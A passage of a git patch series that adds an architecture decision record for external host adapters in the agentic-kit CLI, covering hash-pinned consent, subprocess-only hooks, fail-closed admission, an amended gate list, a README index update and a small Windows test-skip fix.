plain-text summary capture (the generic sibling of `createJsonlSummaryCapture`, needed for a + host like Hermes that has no structured run mode). This is the **only surface with a working + implementation in this wave.** +- **`acp`** — Agent Client Protocol invocation. Named for forward compatibility with driving + surfaces this contract anticipates but has not built. +- **`mcp`** — Model Context Protocol tool call, the same shape this session's own Claude↔Codex + bridge uses to drive one host from another. Also named, also not implemented. + +An adapter manifest declaring `acp` or `mcp` today fails admission with an explicit "surface not yet +supported" diagnostic. It is never silently downgraded to `cli-subprocess` — a silent downgrade +would run a hook the adapter author never tested against that surface, exactly the kind of guessed +success ADR-0016 §5 and ADR-0023 already forbid elsewhere. + +### 3. Capability caps are schema-structural, not runtime-checked + +`canBePrimary`, `aqeProvider`, and `commandStatusline` are not fields the external-adapter manifest +schema accepts, at any value. An adapter author cannot express the claim "I am primary-eligible" — +not because `ak` reads and rejects `true`, but because the accepted JSON Schema has no place to put +it. This is the direct fix for the gap identified in "Why the mechanism changed" above: a capability +cap enforced by field-absence cannot be bypassed by anything the adapter's own code does, because +there is no code — only a document a schema either accepts or rejects before anything runs. +`canRouteActivities` remains expressible; it is the one capability an external adapter may claim, +matching the shape OpenCode already occupies as a non-primary, non-AQE, routable host. + +### 4. Admission: fail-closed, per-adapter isolated, behind an experimental flag + +The entire surface is inert unless `AK_EXPERIMENTAL_HOST_ADAPTERS=1` is set in the environment. With +the flag unset, a `hostAdapters` entry in `kit.json` is parsed and preserved (never silently +dropped) but never admitted — `ak` reports it present-but-inactive rather than pretending it does +not exist. + +With the flag set, admission of each declared adapter is independent: + +- schema validation of the manifest, hash verification against the persisted `trust.hash`, and + hook-surface support are all checked before any hook of that adapter ever runs; +- a failure at any of those steps is reported and that one adapter is skipped — it never brings down + `ak status`, `ak sync`, or any built-in host's handling; +- first-party registries keep throwing at construction. A broken built-in is a build error; a broken + external adapter is a diagnosed, isolated fact, per ADR-0023's fail-closed-and-explicit posture + applied to a source ak did not author. + +### 5. The admitted overlay + +An admitted external host is exposed through an overlay alongside `HOST_REGISTRY`, never by +mutating the frozen built-in registry itself — the same non-negotiable ADR-0016 §1 drew around +compatibility exports ("derived… but not independent sources of truth"), generalized to a second, +explicitly consented source instead of legacy-compat alone. Every consumer that already derives its +behavior from capability lookups over the registry (ADR-0016 §2: host selection, primary-host +eligibility, activity routing, install/MCP/guidance/status-line/transcript/usage work, verification) +picks up an admitted host automatically, with no adapter-specific branch to add. An admitted host is +invisible as a special case to any consumer that was already capability-driven — and visible only +where a consumer still hardcodes `claude`/`codex`/`opencode` by name. That residue is exactly the +amended gate list below. + +### 6. Consent: hash-pinned, edit-invalidated + +Registering an adapter computes a content hash over the manifest and every declared subprocess hook +command, discloses the full manifest through the same trust-manifest surface ADR-0018/ADR-0023 +already use before any other mutation, and requires explicit confirmation before persisting +`trust.hash` and `trust.consentedAt`. Every subsequent load re-hashes the manifest and compares: a +mismatch means the manifest changed since consent, and the adapter is **not admitted** until +re-consented. This is Codex's pin-and-invalidate model, applied to `ak`'s own adapter manifests +instead of Codex's MCP servers — consent lives outside the trusted boundary, attached to a specific +byte sequence, never to an identity that content can silently drift underneath. + +### 7. No in-process third-party code, ever + +Every hook — lifecycle and execution alike — is a subprocess `ak` spawns and owns the termination +proof of, on the same bounded-timeout, honest-diagnostics terms ADR-0016 §3 and ADR-0018's worker +cleanup contract already hold built-in projections and workers to. `ak` never calls `import()` or +`require()` on a path an adapter supplies, and an adapter's existence adds no npm dependency to +`@pacphi/agentic-kit` — the package remains zero-runtime-dependency regardless of how many external +adapters a user registers. + +### 8. The amended gate list + +The maintainer's PR #131 review found the proposal's in-tree gate list (its §8) materially +incomplete for the in-process shape, and asked that any accepted design carry the complete list. +The mechanism changed, but every named gap is a real, mechanism-independent seam in how `ak` treats +"the host set" today, so all six remain load-bearing for the subprocess-hook design too. Status as +observed in this worktree: + +| # | Gap (maintainer's review) | Disposition | +|---|---|---| +| 1 | **The import-time invariant.** `execution/adapters.mjs` enforced a *bidirectional* built-in↔routable-hosts check at import; a registry-only host flip to `canRouteActivities: true` ahead of its adapter landing would brick `ak run` for everyone. | **Done, wave 1.** `assertBuiltinAdaptersRoutable` now checks only the built-in→registry direction (an in-tree wiring mistake still throws at import, exactly as before); the reverse direction is a merge seam — `executionAdapterFor()` returns `null` and the runner degrades that one worker with `cli_unavailable`, per [ADR-0019](0019-escalation-in-ak-run.md)'s existing degradation precedent for a host with no adapter (`src/lib/execution/adapters.mjs`). | +| 2 | **Uninstall-through-undo.** `ak uninstall` bypassed `runLifecycle` entirely; a third-party footprint would persist forever. | **Done, wave 1.** `uninstall.mjs` now runs registry-driven teardown for `hostsWithLifecycle()`, calling each host's own `undo` through `runLifecycle` — opencode-specific dispatch is gone; an admitted external host's `undo` hook runs on the identical path (`src/commands/uninstall.mjs`). | +| 3 | **Permission authorization by host.** Setup's permission pass authorized only claude-host rules; `removeUndisclosedPermissions` would strip a non-claude host's permissions and fail setup. | **Done, wave 1.** `projectPermissionManifest` now unions the authorized auto-approve set across every *enabled* host's trust manifest (a host not gating on enablement always contributes; an opt-in host contributes once `cfg` enables it) instead of hardcoding claude's rules, with `hosts` injectable for tests (`src/commands/setup.mjs`). | +| 4 | **Attribution-surfaces policy.** Three surfaces handled an unrecognized host differently and by accident: the usage scorecard collapsed it into `claude`, live sessions rewrote it to `'internal'`, and qe-court's `vendorOf` mapped it to a shared `'unknown'` — each capable of distorting a count in either direction. | **Done, Phase 0.** All three now exclude-and-label instead of silently collapsing: qe-court gives every unregistered id its own `unregistered:` tag and excludes unregistered vendors from the diversity count entirely (`src/lib/qeCourt.mjs`); live events pass a safely-shaped unknown host id through verbatim and bucket anything unsafe as the explicit `'unknown-host'` (`src/lib/live/event-schema.mjs`); the usage scorecard buckets by `host ?? 'unknown'` rather than defaulting to `claude` (`src/lib/usage-index.mjs`). | +| 5 | **Unknown-key warning.** `kit.json` silently round-trips unknown top-level keys, so `hostAdapters` on an ak version that predates this ADR is a silent no-op. | **Done, wave 1** (as a general mechanism, not one written for `hostAdapters` specifically). `loadKitConfig` now warns once per process per distinct unknown-key set — "kit.json keys not recognized by this ak version: …, preserved, ignored" — for *any* key the running version doesn't know, `hostAdapters` included on an older `ak` (`src/lib/config.mjs`). | +| 6 | **Test pins.** ~12 assertions pinned the built-in host set directly, and the test-enforced registry↔directory parity meant a registered host with no authored About card failed CI. | **Working (wave 3, merged #148).** Host-set and default-map expectations across nine test files now derive from `managedHostIds()`/`routableHostIds()`/`primaryHostIds()`/`defaultHostMap()`, scoped to built-ins; the component-directory parity invariant is stated built-in-scoped, exempting admitted adapters until this contract graduates them. | + +## Supersession of ADR-0016's closed-registry clause + +ADR-0016 states, as a design requirement: + +> Agentic-kit remains a plain-ESM, zero-runtime-dependency CLI. Its normal operation is +> offline-first. The design must therefore be a closed, validated registry of built-in code, not +> an arbitrary third-party plugin runtime. + +and restates it in its non-goals: + +> It does not implement every provider, a public adapter SDK, or arbitrary third-party code +> loading. + +**This ADR formally supersedes that clause.** The registry is no longer exclusively built-in code: +an explicitly registered, hash-pinned, subprocess-only external adapter may be admitted into an +overlay alongside it, gated by `AK_EXPERIMENTAL_HOST_ADAPTERS=1`. Every other requirement that +clause was protecting — zero-runtime-dependency, offline-first normal operation, no dynamically +imported third-party code inside the `ak` process — remains intact and is in fact the specific +design this ADR uses to satisfy the request without reopening either property. ADR-0016 §1's +sentence "Agentic-kit does not dynamically import adapter paths from `kit.json`, npm packages, or +user directories" is superseded in the same, narrow sense: `kit.json` may now name an adapter +manifest, but nothing under that name is ever `import()`-ed — the clause's *intent* (no in-process +third-party code) is preserved even as its literal *mechanism description* (no `kit.json`-driven +external reference of any kind) is not. + +A matching one-line update-note has been added to ADR-0016 itself, pointing here. + +## Non-goals + +- **No marketplace, discovery, or naming-convention scan.** Admission is always explicit + registration by manifest path; there is no `ak-host-*` npm-tree scan, ever — that is exactly the + fail-open pattern ADR-0023 exists to prevent, and PR #131's own proposal already rejected it for + the in-process shape. +- **No code signing.** Consent is a hash pin plus explicit user confirmation, not a signature chain + or a claim of provenance beyond "this is the content the user agreed to run." +- **No in-process plugin API, now or as a later contract version.** Contract v1's ban on `import()` + of adapter-supplied code is not a bootstrapping restriction to be lifted once the mechanism + matures; it is the property "Why the mechanism changed" argues for. A future contract version may + add driving surfaces (`acp`, `mcp`) or hook verbs; it may not add in-process code execution. +- **No AQE projection, ever.** An admitted external host cannot become an `aqeProvider` at any + contract version — that field is schema-absent for the same reason `canBePrimary` and + `commandStatusline` are (§3), and AQE's own provider set is upstream's enumeration, not one `ak` + extends by admitting a host ([ADR-0028](0028-local-openai-compatible-providers.md) draws the + identical line for `local-openai`). +- **No automatic routing or seeding.** An admitted host is never auto-seeded into `routing.routes`; + it must be explicitly routed, matching [ADR-0018](0018-generalized-host-worker-execution.md)'s + existing rule that automatic seeding stays Claude/Codex subscription-only. +- **No subprocess/RPC protocol beyond the three named driving surfaces**, and no promise that `acp` + or `mcp` ship in this contract version. Re-specifying two lifecycles as a wire protocol is a + larger commitment than this ADR's evidence currently justifies. +- **No vendoring of any specific third-party adapter into this repository**, and no obligation that + agentic-kit maintainers verify, support, or track the release cadence of any host an adapter + targets. An adapter author owns their host's correctness; `ak` owns only the contract. + +## Consequences + +- A fourth (fifth, …) host CLI can be described to `ak` without a dedicated ADR, owner module, or + maintainer commitment to a CLI they may not run — at the cost of everything that host can express + being strictly less than a built-in: no in-process code, three capped fields, and admission gated + behind an explicit flag and an explicit content-hash consent. +- The gap the amended gate list closes was real independent of this ADR: items 1–5 harden the + built-in host set's own correctness (a registry-only routable-host flip, uninstall completeness, + permission authorization, attribution honesty, and unknown-key visibility) whether or not any + external adapter is ever registered. Publishing the extension point is what surfaced them; keeping + them fixed does not depend on the extension point staying enabled. +- `AK_EXPERIMENTAL_HOST_ADAPTERS` being unset is the default, and the default behavior of every + existing command is unchanged: an unset flag makes the whole surface inert, and a `hostAdapters` + key with the flag unset round-trips through `kit.json` untouched. +- A capability an external adapter cannot express (`canBePrimary`, `aqeProvider`, + `commandStatusline`) is a permanent property of contract v1, not a temporary restriction lifted at + graduation — graduation (below) freezes the *contract*, not the caps. + +## Self-graded implementation status + +Dated 2026-08-15, at Wave 4 doc-authoring time. Rows already covered by the amended gate list are +not repeated; this table grades the mechanism this ADR newly decides — the manifest, admission, +overlay, hook-runner, and consent — none of which existed as code prior to this wave. Grades: +**Working** (implemented and tested in this worktree), **Demo** (implemented, not yet under test), +**TBD** (not yet implemented as of this dating). Per the model set by ruflo's own ADR-015-v2 +practice — a self-graded status table an ADR carries at acceptance time, filled in with real +evidence as implementation lands rather than promised in prose — the lead fills in test counts and +flips remaining TBD cells at Wave 4 integration. + +| Mechanism | Grade (2026-08-15) | Evidence | +|---|---|---| +| Manifest schema (contract: 1) | TBD | Owned by the sibling contract work package; no schema module present in this worktree as of this dating. | +| Admission gate (fail-closed, per-adapter isolated) | TBD | Owned by the sibling contract work package; not present in this worktree as of this dating. | +| `AK_EXPERIMENTAL_HOST_ADAPTERS` flag gating | TBD | Not present in this worktree as of this dating; no occurrences found under `src/`. | +| Admitted-host overlay (registry-adjacent, non-mutating) | TBD | Depends on the admission gate landing first. | +| Subprocess hook-runner (`cli-subprocess` surface) | TBD | Owned by the sibling hook work package; not present in this worktree as of this dating. | +| Hash-pinned consent + edit-invalidation | TBD | Owned by the sibling hook work package; not present in this worktree as of this dating. | +| Capability-cap schema absence (§3) | TBD | Depends on the manifest schema landing first. | +| Gate item 1 — import-time invariant | **Working** | `assertBuiltinAdaptersRoutable`, one-directional since W1-B (`src/lib/execution/adapters.mjs`). | +| Gate item 2 — uninstall-through-undo | **Working** | Registry-driven `hostsWithLifecycle()` teardown loop (`src/commands/uninstall.mjs`). | +| Gate item 3 — permission authorization by host | **Working** | `projectPermissionManifest` union-across-enabled-hosts, F-04 (`src/commands/setup.mjs`). | +| Gate item 4 — attribution surfaces policy | **Working** | F-11 qe-court tagging (`src/lib/qeCourt.mjs`); `resolveHost` safe-passthrough/`unknown-host` (`src/lib/live/event-schema.mjs`); `host ?? 'unknown'` bucketing (`src/lib/usage-index.mjs`). | +| Gate item 5 — unknown-key warning | **Working** | F-14 `warnUnknownTopLevelKeys` (`src/lib/config.mjs`). | +| Gate item 6 — test pins (registry↔directory parity) | Working (wave 3, #148) | Registry-derived, built-in-scoped. | + +## Graduation gate + +Contract v1 is **experimental** for the life of the `4.0.0-alpha.*` line and remains so afterward +until it explicitly graduates. Graduation is a written, falsifiable event, not a vibe: + +1. A **real external adapter** — maintained outside this repository, by someone other than an + agentic-kit maintainer — passes the full conformance kit (the same lifecycle, execution, + ownership, and `normalizedFacts` conformance tests a built-in host is held to, run against the + external adapter's declared hooks). +2. That adapter then completes **one full release's worth of soak** in the field with no + contract-shape change required to keep it working. +3. Only once both hold does the manifest **contract integer** freeze: `contract: 1` becomes a + guaranteed-stable shape, and any subsequent breaking change to the manifest, hook verbs, or + driving-surface vocabulary ships as `contract: 2`, admitted alongside `contract: 1` rather than + replacing it outright. + +Before graduation, `contract: 1` may change between alpha releases without a version bump. That +instability is bounded, not open-ended: it exists to let the first real adapter's conformance run +surface shape problems cheaply, the same way carrying Hermes surfaced one widening and one guard for +the in-process proposal's own subprocess base. It is not a license to redesign the contract +speculatively. + +## References + +- `src/lib/adapters/registries.mjs` (`HOST_REGISTRY`, `validateHostAdapter`, `validateRegistries`), + `src/lib/adapters/lifecycle.mjs` / `lifecycle-registry.mjs` (`validateLifecycleAdapter`, + `registerBuiltinLifecycle`), `src/lib/execution/adapters.mjs` + (`assertBuiltinAdaptersRoutable`, the merge seam), `src/commands/uninstall.mjs` + (`hostsWithLifecycle()` teardown loop), `src/commands/setup.mjs` + (`projectPermissionManifest`, `removeUndisclosedPermissions`), `src/lib/config.mjs` + (`KNOWN_TOP_LEVEL_KEYS`, `warnUnknownTopLevelKeys`), `src/lib/qeCourt.mjs` (F-11 unregistered-id + tagging), `src/lib/live/event-schema.mjs` (`resolveHost`, `SAFE_HOST_ID`), `src/lib/usage-index.mjs` + (host bucketing). +- [ADR-0016](0016-capability-driven-integration-adapters.md) — the closed-registry clause this ADR + supersedes, and every capability/lifecycle/ownership/provenance contract this ADR reuses without + change. +- [ADR-0018](0018-generalized-host-worker-execution.md) — the trust-boundary section this ADR's + "no host sandboxes extension code" evidence line rests on, and the worker termination-proof + discipline the subprocess hook-runner inherits. +- [ADR-0019](0019-escalation-in-ak-run.md) — the `cli_unavailable` degradation precedent the + import-time invariant fix (gate item 1) generalizes. +- [ADR-0023](0023-fail-closed-operations-and-explicit-degradation.md) — the fail-closed-and-honest + posture the admission gate and the ban on naming-convention discovery both apply. +- [ADR-0028](0028-local-openai-compatible-providers.md) — the sibling ADR accepted from the same PR + #131, and the precedent for "accepted with corrections after review," which this ADR follows in + house style. +- `docs/HOST-ADAPTER-EXTENSION-PROPOSAL.md` — the companion document PR #131 shipped alongside its + own draft of this ADR number; §§1–2 and §5 of that document remain accurate background even though + §3's in-process mechanism is not what this ADR accepts. +- [PR #131](https://github.com/pacphi/agentic-kit/pull/131) — original proposal and its maintainer + review comment, the source of the amended gate list and the Hermes-behavior findings cited above. diff --git a/docs/adr/README.md b/docs/adr/README.md index db9cff4..29b4842 100644 --- a/docs/adr/README.md +++ b/docs/adr/README.md @@ -24,7 +24,7 @@ Consequences**, and cites the grounded source it rests on where relevant. | [0013](0013-admin-build-security-signals-and-honest-reach.md) | Admin: build/security signals, an honest Reach panel, and a pagination fix | Accepted | | [0014](0014-dashboard-auth-and-remediation.md) | Dashboard auth token, plus a security/quality remediation pass | Accepted | | [0015](0015-managed-codex-native-statusline.md) | Manage Codex's native user-wide status line without claiming rich-renderer parity | Accepted | -| [0016](0016-capability-driven-integration-adapters.md) | Capability-driven host, provider, binding, projection, and observability adapters | Accepted; compatibility amended | +| [0016](0016-capability-driven-integration-adapters.md) | Capability-driven host, provider, binding, projection, and observability adapters | Accepted; compatibility amended; closed-registry clause superseded by 0029 | | [0017](0017-opencode-host.md) | OpenCode as a managed, observable host through native surfaces | Accepted; compatibility amended | | [0018](0018-generalized-host-worker-execution.md) | Generalized host-worker execution; `ak run` canonical | Accepted; compatibility amended | | [0019](0019-escalation-in-ak-run.md) | Bounded per-worker escalation in `ak run` | Accepted; historical context closed | @@ -37,6 +37,7 @@ Consequences**, and cites the grounded source it rests on where relevant. | [0026](0026-about-component-directory.md) | About: a component directory that explains everything ak installs | Implemented | | [0027](0027-shared-project-census.md) | One project census, four scopes, every count explains itself | Implemented | | [0028](0028-local-openai-compatible-providers.md) | One generic local OpenAI-compatible provider, not a vendor enumeration | Accepted | +| [0029](0029-host-adapter-extension-point.md) | External host adapters: declarative manifest, subprocess hooks | Accepted (experimental contract) | Theme: ADRs **0001–0006** define **dual-host LLM routing and leadership** — how `ak` lets ruflo route each development activity (architecture, implementation, testing, review, …) to the right host (Claude @@ -199,3 +200,16 @@ transport) and no `aqe` (AQE's provider set is upstream's own enumeration; `olla `local-openai` deliberately is not). Proposed by community contributor adrianco in PR #131, accepted with a correction to the PR's quoted Hermes reference config, whose `api_mode: openai` is not a valid Hermes value. + +**0029** answers the same PR #131 with a different mechanism than it proposed. Where the PR asked +for an in-process ESM module loaded by `import()`, this ADR accepts a declarative manifest driving +a fixed set of consented, subprocess-only hooks — no third-party code ever runs inside the `ak` +process, gated behind `AK_EXPERIMENTAL_HOST_ADAPTERS=1`, admitted only after a hash-pinned consent +that invalidates the moment the manifest's content changes. `canBePrimary`, `aqeProvider`, and +`commandStatusline` are not fields the manifest schema accepts at all, so those three obligations +stay first-party by construction rather than by an adapter's own promise. It formally supersedes +ADR-0016's closed-registry clause, folds in the maintainer's full PR #131 gate list (import-time +routable-host invariant, uninstall-through-undo, permission authorization by host, attribution +surfaces policy, and kit.json's unknown-key warning — landed in wave 1 and Phase 0; registry↔directory +test pins remain wave 3), and stays experimental until a real external adapter clears the +conformance kit and a release of soak. From ad89e7fddd83b56a32bb9bda870dbac063d6dfcd Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 16:22:19 -0700 Subject: [PATCH 4/4] test: skip the POSIX-mode consent-file assertion on Windows NTFS carries no Unix permission bits, so mode & 0o777 never reflects the 0600 the consent store writes; the write still requests 0600. Guarded with the repo's { skip: process.platform === 'win32' } idiom (windows-only CI failure). --- tests/kit/adapter-hook-runner.test.mjs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tests/kit/adapter-hook-runner.test.mjs b/tests/kit/adapter-hook-runner.test.mjs index 2ac5dd3..b0f7955 100644 --- a/tests/kit/adapter-hook-runner.test.mjs +++ b/tests/kit/adapter-hook-runner.test.mjs @@ -159,7 +159,11 @@ test('revokeConsent removes trust', () => { fs.rmSync(path.dirname(path.dirname(file)), { recursive: true, force: true }); }); -test('the consent file is written with mode 0600', () => { +// POSIX-only: NTFS does not carry Unix permission bits, so `mode & 0o777` +// never reflects the 0600 the store requests on Windows. The 0600 write is +// still made (fs.writeFileSync mode option); this asserts the observable bits +// where the platform has them. +test('the consent file is written with mode 0600', { skip: process.platform === 'win32' }, () => { const file = sandboxFile(); recordConsent('my-adapter', 'sha256:abc123', { file }); const mode = fs.statSync(file).mode & 0o777;